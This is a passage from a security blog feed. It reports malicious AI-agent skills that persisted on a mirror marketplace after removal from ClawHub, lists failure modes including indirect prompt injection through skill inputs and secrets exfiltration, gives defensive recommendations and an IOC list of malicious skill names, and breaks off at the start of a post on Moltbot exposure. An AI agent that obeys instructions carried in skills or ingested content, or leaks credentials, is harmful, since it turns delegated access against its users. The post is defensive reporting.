10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>So this <strong>malicious</strong> skill, that was already removed from ClawHub <strong>remains accessible</strong> through SkillsMP<strong>, inheriting credibility signals of the original skill, </strong>where only thorough inspection of the <strong>SKILL.md</strong> file could provide an indication that the skill is malicious.</p><h3>Multiple Installation Paths, Inconsistent Trust Boundaries</h3><p>Downstream marketplaces don&#8217;t just <em>mirror</em> content - they often introduce new installation paths.</p><p>In this case, users could still install malicious skills via:</p><ul><li><p>Direct ZIP downloads</p></li><li><p>Package managers that clone upstream repositories</p></li><li><p>Tools that fetch skills from arbitrary remote sources without verification</p></li></ul><p>Each additional path becomes another opportunity for silent compromise. Even when a marketplace removes a malicious skill from its UI, any system that blindly mirrors or indexes upstream sources can continue distributing it, without warning, attribution, or context.</p><p>Without built in mechanisms for vetting the content uploaded to the marketplace, skills can instruct the models using them to do anything.</p><blockquote><p>If a malicious skill can persist after takedown, then &#8220;removal&#8221; is not a security control - it&#8217;s a notification.</p></blockquote><div><hr></div><h2>What this means for you?</h2><h4>Skills Blur the Line Between &#8220;Code You Run&#8221; and &#8220;Text You Trust&#8221;</h4><p>A lot of teams still treat skills as &#8220;just configuration&#8221; or &#8220;just prompts&#8221;, but in practice, skills behave like a <strong>hybrid of a package and a playbook</strong>:</p><ul><li><p>A package because it ships artifacts that can execute code.</p></li><li><p>A playbook because it directs an agent to take actions.</p></li></ul><p>This is why the risk is broader than a single file like <code>SKILL.md</code>. Any referenced file, template, auxiliary script, and even the markdown files themselves, become part of the agent&#8217;s effective instruction surface.</p><p>If your agent uses skills that reference additional files, then those files are <em>also</em> part of the trust chain:</p><ul><li><p>Additional markdown rules</p></li><li><p>Configuration manifests</p></li><li><p>Package definitions</p></li><li><p>Tool wrappers and scripts</p></li></ul><p>While a user might be satisfied by glancing over the &#8220;main&#8221; skill definition and making sure it looks legit, the agent will happily consume everything it can access.</p><p>Over time, the skill ecosystem and related marketplaces will mature and become more secure. We&#8217;re already seeing early steps in that direction - for example, ClawHub recently added GitHub user verification (including a minimum account age), along with reporting and moderation capabilities:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fu45!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fu45!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png 424w, https://substackcdn.com/image/fetch/$s_!fu45!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png 848w, https://substackcdn.com/image/fetch/$s_!fu45!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png 1272w, https://substackcdn.com/image/fetch/$s_!fu45!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fu45!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png" width="436" height="348.2098138747885" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/69ee854a-2532-4204-9fea-7b0654872658_1182x944.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:944,&quot;width&quot;:1182,&quot;resizeWidth&quot;:436,&quot;bytes&quot;:309658,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/186593412?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!fu45!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png 424w, https://substackcdn.com/image/fetch/$s_!fu45!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png 848w, https://substackcdn.com/image/fetch/$s_!fu45!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png 1272w, https://substackcdn.com/image/fetch/$s_!fu45!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F69ee854a-2532-4204-9fea-7b0654872658_1182x944.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>But attackers, aren&#8217;t waiting around. Multiple malicious skill campaigns targeting ClawHub were already <a href="https://opensourcemalware.com/blog/clawdbot-skills-ganked-your-crypto">identified</a>, with hundreds of malicious skills making their way onto the platform.</p><h4>These are the most common failure modes we are seeing:</h4><h5>1) Skill marketplace supply-chain attacks</h5><ul><li><p>Backdoored/Malicious skills</p></li><li><p>Typosquatting / impersonation (either to popular skills or the marketplaces themselves)</p></li><li><p>Malicious updates to popular or seemingly benign skills </p></li></ul><h5>2) Metadata manipulation and social engineering</h5><ul><li><p>Spoofing &#8220;Trust&#8221; signals such as download count, reviews or stars</p></li><li><p>Misleading descriptions (&#8220;telemetry&#8221;, &#8220;analytics&#8221;, &#8220;setup helper&#8221;)</p></li><li><p>Lookalike domains and endpoints used by skill scripts</p></li></ul><h5>3) Permission fatigue</h5><p>Even if the agent prompts before actions, humans naturally become less vigilant in workflows where agents need constant permissions to be useful.</p><h5>4) Indirect prompt injection through skill inputs</h5><p>Skills often have access to external tools and consume external content: issues, docs, tickets, emails, chat messages, repos, and more. That content can contain instructions that influence the model&#8217;s behavior. As the UK NCSC has <a href="https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection">explicitly warned</a>, prompt injection is fundamentally difficult to fully mitigate because models don&#8217;t reliably separate instructions from data.</p><p>That matters because skill ecosystems increase how often agents ingest untrusted content <em>and</em> how much authority they have when they do.</p><h5>5) Secrets leakage as a default outcome</h5><p>Skills often normalize passing credentials and tokens around in environment variables, tool config, files, and logs, often not in a secure manner.</p><p>Once you accept that &#8220;skills are behavior&#8221;, you should assume that any behavior you import may try to exfiltrate secrets, whether intentionally or accidentally.</p><h5>6) Downstream propagation and stale trust</h5><p>Like we saw in this case, even when a malicious skill is identified and removed from its original marketplace, it may continue to exist in: forked repositories, cached mirrors, or skill marketplaces.</p><h3>Why this is different from a standard plugin or extension?</h3><p>Agent skills don&#8217;t just extend software - they extend <strong>agency</strong>.</p><p>In computer-using agents, skills allow an agent to act directly in your environment: read your messages, use your credentials, interact with your browser, and execute actions on your behalf. The more capable the agent becomes, the more closely it mirrors a human operator.</p><p>That&#8217;s the appeal, as well as the risk.</p><p>Skills are how those agents learn what to do next. When you install a skill, you&#8217;re not adding a helper function; you&#8217;re expanding the set of things the agent is allowed to do in your environment. Over time, that means more credentials, more access, more automation, and more persistent context.</p><p>So when a skill goes wrong, the failure mode isn&#8217;t &#8220;bad code&#8221;.<br>It&#8217;s an autonomous system exercising <strong>delegated authority</strong> with your access.</p><h3>What we recommend doing right now?</h3><h4>For builders and individual users:</h4><ul><li><p><strong>Treat third-party skills as untrusted code</strong><br>Read them before using! Read the referenced files too. Treat &#8220;instructions&#8221; as executable.</p></li><li><p><strong>Assume popularity metrics can be gamed</strong><br>Download counts and stars are not security properties.</p></li><li><p><strong>Use isolation by default</strong><br>Run skills in sandboxes, containers, or VMs, especially anything you didn&#8217;t write. Reduce filesystem and network reach as much as possible.</p></li><li><p><strong>Use test credentials first</strong><br>If a skill needs OAuth or API keys, start with scoped test accounts. Treat first-run as staging.</p></li><li><p><strong>Run automated scanning</strong><br>Static analysis isn&#8217;t sufficient, but it helps catch obvious badness quickly. <a href="https://github.com/cisco-ai-defense/skill-scanner">Cisco&#8217;s open-source skill scanner</a> is one example of tooling aimed at this category.</p></li></ul><h4>For security teams:</h4><ul><li><p><strong>Inventory &#8220;skills&#8221; as a software supply-chain class</strong><br>Track and govern:</p><ul><li><p>which skills are installed</p></li><li><p>where they came from</p></li><li><p>who approved them</p></li><li><p>what they can access</p></li></ul></li><li><p><strong>Enforce least privilege at the capability layer</strong></p><p>Don&#8217;t only gate &#8220;the agent&#8221;, gate:</p><ul><li><p>Tool invocation (what tools can be called)</p></li><li><p>Data access (what sources can be read)</p></li><li><p>Output channels (where data can be sent)</p></li><li><p>Secrets scope (which tokens can be used for what)</p></li></ul></li><li><p><strong>Aim to log skill-triggered actions as first-class events</strong></p></li><li><p><strong>Plan for revocation</strong></p><p>Assume you&#8217;ll need to quickly disable a skill, rotate tokens or invalidate sessions.</p></li></ul><h3>Closing Thoughts</h3><p>Supply-chain attacks aren&#8217;t new. Attackers have always followed the path of least resistance, and they always will.</p><p>The difference today is maturity. Traditional open-source ecosystems and package repositories have had years to absorb painful lessons, develop best practices, build tooling, and establish norms around trust, provenance, and response. None of that happened overnight, it was earned through repeated failures - and even now, successful attacks still happen.</p><p>The AI supply chain, by contrast, is still early and fragmented. It spans models, agents, skills, prompts, marketplaces, and social layers, but hasn&#8217;t yet had the time to develop comparable guardrails, frameworks, or shared security practices.</p><p>What recent campaigns show is not just that malicious skills exist, but that <strong>skill ecosystems behave like real supply chains</strong>, with the same problems and failure modes we&#8217;ve seen for years in traditional package ecosystems.</p><p>Once a malicious skill escapes into downstream indexes, mirrors, and automation tools, it stops being a single-platform issue. It becomes a distribution problem.</p><p>Layer on top of that AI-specific challenges like indirect prompt injection, delegated authority, opaque execution paths, and rapidly expanding attack surfaces, and the outcome is predictable - misconfigurations, fraud, vulnerabilities, and supply-chain attacks exploiting the immaturity of the entire AI ecosystem.</p><p>Security incidents targeting AI-based systems and the ecosystems around them aren&#8217;t an anomaly. They&#8217;re an inevitability until the security model catches up.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/p/clawing-out-the-skills-marketplace?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.pluto.security/p/clawing-out-the-skills-marketplace?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p><div><hr></div><blockquote><p>At <strong>Pluto</strong>, we&#8217;re enabling enterprises to use AI Builders securely.<br>Want to learn more? Let&#8217;s talk.</p></blockquote><div><hr></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! This post is public so feel free to share it.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><div><hr></div><h4>IOCs</h4><p>Complete list of malicious skills:</p><p>User: <strong>@sakaen736jih</strong></p><pre><code>agent-browser-6aigix9qi2tu&#9;coding-agent-7k8p1tijc&#9;&#9;nano-pdf-gbegf
agent-browser-b2x7tvcmbjgp&#9;coding-agent-8wyxxelkv&#9;&#9;nano-pdf-kxufw
agent-browser-bzsqiuw0rznw&#9;coding-agent-boz67cmsl&#9;&#9;nano-pdf-lqbmv
agent-browser-fopzsipap75u&#9;coding-agent-by6ghzyes&#9;&#9;nano-pdf-mns57
agent-browser-ha2gvrwrmbil&#9;coding-agent-du7t1pmcd&#9;&#9;nano-pdf-n2hcr
agent-browser-jrdv4mcscrb2&#9;coding-agent-ggeu0hlk4&#9;&#9;nano-pdf-q3e3z
agent-browser-npzrafdduyrm&#9;coding-agent-hmxr2rtke&#9;&#9;nano-pdf-quqdg
agent-browser-plyd56pz7air&#9;coding-agent-kpeg9c2rq&#9;&#9;nano-pdf-rt9y1
agent-browser-shdaumcajgxf&#9;coding-agent-my1tb1kam&#9;&#9;nano-pdf-sdjzy
agent-browser-txfumuva5m6u&#9;coding-agent-o10sk4yyb&#9;&#9;nano-pdf-tkqfw
agent-browser-ufymjtykwuas&#9;coding-agent-ojd1iijmg&#9;&#9;nano-pdf-vbdin
agent-browser-ymepfebfpc2x&#9;coding-agent-p2kq1f9ou&#9;&#9;nano-pdf-vhitx
agent-browser-zd1dook9mtfz&#9;coding-agent-p6k84e0fv&#9;&#9;nano-pdf-xyixq
auto-updater-3miomc4dvir&#9;coding-agent-pekjzav3x&#9;&#9;nano-pdf-yqsfx
auto-updater-5cnufr8quj5&#9;coding-agent-tvmz0qsg1&#9;&#9;nano-pdf-zpgdu
auto-updater-ah1&#9;&#9;coding-agent-vwho0kmqi&#9;&#9;phantom
auto-updater-drvd2u5bgft&#9;coding-agent-yzyvfg9hn&#9;&#9;solana
auto-updater-dyismmj5csx&#9;coding-agent-z1qldmg0f&#9;&#9;solflare
auto-updater-ek1qviijfp1&#9;deep-research-eejukdjn&#9;&#9;summarize-177r
auto-updater-eu0vxzedkgb&#9;deep-research-eoo5vd95&#9;&#9;summarize-7mfv
auto-updater-jhsfi4ehp1b&#9;deep-research-hsk9iq5w&#9;&#9;summarize-ienz
auto-updater-jrpkyiayibm&#9;deep-research-kgenr3rn&#9;&#9;summarize-ilyc
auto-updater-lrssiatzxpx&#9;deep-research-omvwp9ki&#9;&#9;summarize-jd4g
auto-updater-nz2uvldrokd&#9;deep-research-pjazdzyd&#9;&#9;summarize-jqoq
auto-updater-pb70kpsnfof&#9;deep-research-pqgwiuep&#9;&#9;summarize-kx5u
auto-updater-qahxnvcnurj&#9;deep-research-qvewifgk&#9;&#9;summarize-nrqj
auto-updater-qg0anavwlmt&#9;deep-research-rio7el6w&#9;&#9;summarize-rjig
auto-updater-sgr&#9;&#9;deep-research-v2h55k2w&#9;&#9;summarize-syis
auto-updater-sgtm55aoazj&#9;deep-research-vc3veoel&#9;&#9;summarize-v8w3
auto-updater-uqmlhjh7pgz&#9;ethereum&#9;&#9;&#9;summarize-wy5c
auto-updater-vombw4ciwc0&#9;gas-tracker&#9;&#9;tron
bird-0p&#9;&#9;&#9;gog-5w7zvby&#9;&#9;tronlink
bird-2l&#9;&#9;&#9;gog-ee3cg9w&#9;&#9;wacli-1sk
bird-ag&#9;&#9;&#9;gog-g7ksras&#9;&#9;wacli-339
bird-ar&#9;&#9;&#9;gog-iezecg1&#9;&#9;wacli-5qi
bird-ch&#9;&#9;&#9;gog-kcjgdv2&#9;&#9;wacli-ayv
bird-co&#9;&#9;&#9;gog-kfnluze&#9;&#9;wacli-e7x
bird-fa&#9;&#9;&#9;gog-kvlmtdd&#9;&#9;wacli-eco
bird-h4&#9;&#9;&#9;gog-shbjktj&#9;&#9;wacli-era
bird-hg&#9;&#9;&#9;gog-sywovxv&#9;&#9;wacli-evv
bird-js&#9;&#9;&#9;gog-vjlu0ls&#9;&#9;wacli-hdg
bird-mh&#9;&#9;&#9;gog-ybiur2h&#9;&#9;wacli-hq4
bird-nc&#9;&#9;&#9;insider-wallets-finder&#9;&#9;wacli-ikx
bird-rl&#9;&#9;&#9;leo-wallet&#9;&#9;&#9;wacli-klt
bird-su&#9;&#9;&#9;metamask&#9;&#9;&#9;wacli-mch
bird-vu&#9;&#9;&#9;nano-banana-pro-8ap3x7&#9;&#9;wacli-muk
bird-wo&#9;&#9;&#9;nano-banana-pro-c16jff&#9;&#9;wacli-mwj
bird-xn&#9;&#9;&#9;nano-banana-pro-e3c48l&#9;&#9;wacli-pma
bird-yf&#9;&#9;&#9;nano-banana-pro-eug1jw&#9;&#9;wacli-w3y
bird-yt&#9;&#9;&#9;nano-banana-pro-fxgpbf&#9;&#9;wacli-xcb
bird-za&#9;&#9;&#9;nano-banana-pro-glfq7a&#9;&#9;wacli-ydw
clawdhub-0ds2em57jf&#9;&#9;nano-banana-pro-gyyjbx&#9;&#9;wallet-tracker
clawdhub-1qbvz9cvc3&#9;&#9;nano-banana-pro-hu1vfx&#9;&#9;youtube-watchar
clawdhub-2trnbtcgyo&#9;&#9;nano-banana-pro-lldjo1&#9;&#9;youtube-watcher-7
clawdhub-3ffldvumfb&#9;&#9;nano-banana-pro-lrmva2&#9;&#9;youtube-watcher-8
clawdhub-3jv6c6gijf&#9;&#9;nano-banana-pro-mauf71&#9;&#9;youtube-watcher-a
clawdhub-8rhr8q1zgy&#9;&#9;nano-banana-pro-mzvmth&#9;&#9;youtube-watcher-c
clawdhub-aecm6lh6uo&#9;&#9;nano-banana-pro-ogmcrj&#9;&#9;youtube-watcher-d
clawdhub-hklg5xzjbc&#9;&#9;nano-banana-pro-oinrw3&#9;&#9;youtube-watcher-g
clawdhub-i6qfm0cay3&#9;&#9;nano-banana-pro-pcgniu&#9;&#9;youtube-watcher-h
clawdhub-ilhnghd1c0&#9;&#9;nano-banana-pro-pqcucx&#9;&#9;youtube-watcher-j
clawdhub-itmu0eevs9&#9;&#9;nano-banana-pro-ptnlkl&#9;&#9;youtube-watcher-k
clawdhub-l91mzsalr7&#9;&#9;nano-banana-pro-srlqfn&#9;&#9;youtube-watcher-n
clawdhub-lhhr7b7jsj&#9;&#9;nano-banana-pro-stl6ak&#9;&#9;youtube-watcher-p
clawdhub-lyass2awyp&#9;&#9;nano-banana-pro-wepcdp&#9;&#9;youtube-watcher-u
clawdhub-xupj4k8euh&#9;&#9;nano-banana-pro-xeqcnk&#9;&#9;youtube-watcher-w
clawdhub-yskkhfqscj&#9;&#9;nano-banana-pro-yywjf1&#9;&#9;youtube-watcher-x
clawdhub-za29sitx9w&#9;&#9;nano-pdf-9j7bj&#9;&#9;youtube-watcher-z
clawdhub-zegimab3ze&#9;&#9;nano-pdf-cr79t&#9;yt-summarize
clawdhub-zh7v47hpwk&#9;&#9;nano-pdf-eeadu&#9;yt-thumbnail-grabber
coding-agent-4ilvlj7rs&#9;&#9;nano-pdf-ey8zb&#9;yt-video-downloader</code></pre><p>User: <strong>@moonshine-100rze</strong>:</p><pre><code>excel-1kl&#9;moltbook-lm8&#9;twitter-6ql</code></pre><p>User: <strong>@zaycv</strong></p><pre><code>blrd&#9;&#9;google-workspace&#9;           polymarket-hyperliquid-trading
clawbhub&#9;&#9;linkedin-job-application          polymarket-trading
clawhub&#9;&#9;nanopdf&#9;&#9;           summarlze
clawhub1&#9;&#9;novafon&#9;&#9;&#9;whatsapp
clawhud&#9;&#9;polymarket-assistant&#9;&#9;youtubewatcher</code></pre><p></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://substack.com/@plutosecurity/note/p-186593412&quot;,&quot;text&quot;:&quot;Leave a comment&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://substack.com/@plutosecurity/note/p-186593412"><span>Leave a comment</span></a></p><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[Moltbot(Clawdbot) in the Wild: Exposure Risks and Practical Hardening]]></title><description><![CDATA[What we learned by looking at how people actually deploy autonomous agents, and why agent gateways should be treated like privileged infrastructure, not hobby projects.]]></description><link>https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks</link><guid isPermaLink="false">https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks</guid><dc:creator><![CDATA[Pluto Security]]></dc:creator><pubDate>Mon, 26 Jan 2026 21:03:59 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!hSt9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hSt9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hSt9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!hSt9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!hSt9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!hSt9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hSt9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2661244,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/185845830?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hSt9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!hSt9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!hSt9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!hSt9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8d60c4f0-a41c-4c41-8b31-d8955ba235fb_1920x1080.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Computer-Using Agents (CUA) are part of a rapidly growing class of software: <strong>agent gateways</strong> that allow LLMs to interact with local machines and real tools (messaging, email, calendars, browsers, shells), often running persistently and with meaningful autonomy.</p><p>That combination is powerful.<br>It also fundamentally changes the security equation.</p><p><a href="https://github.com/moltbot/moltbot">Moltbot</a> (formerly known as <a href="https://x.com/moltbot/status/2016058924403753024">Clawdbot</a>) is one recent example of this class of tooling that has gained significant traction in a short period of time. As you can see in the below image &#128071; in ~2 months it reached over 60K GitHub stars, which is abnormal even compared to projects like  <a href="https://github.com/langchain-ai/langchain">Langchain</a> (over a year) or <a href="https://github.com/OpenHands/OpenHands">OpenHands</a> (almost 2 years).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!68p6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3a77b5b-1a26-4208-9086-654903471be5_1572x980.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 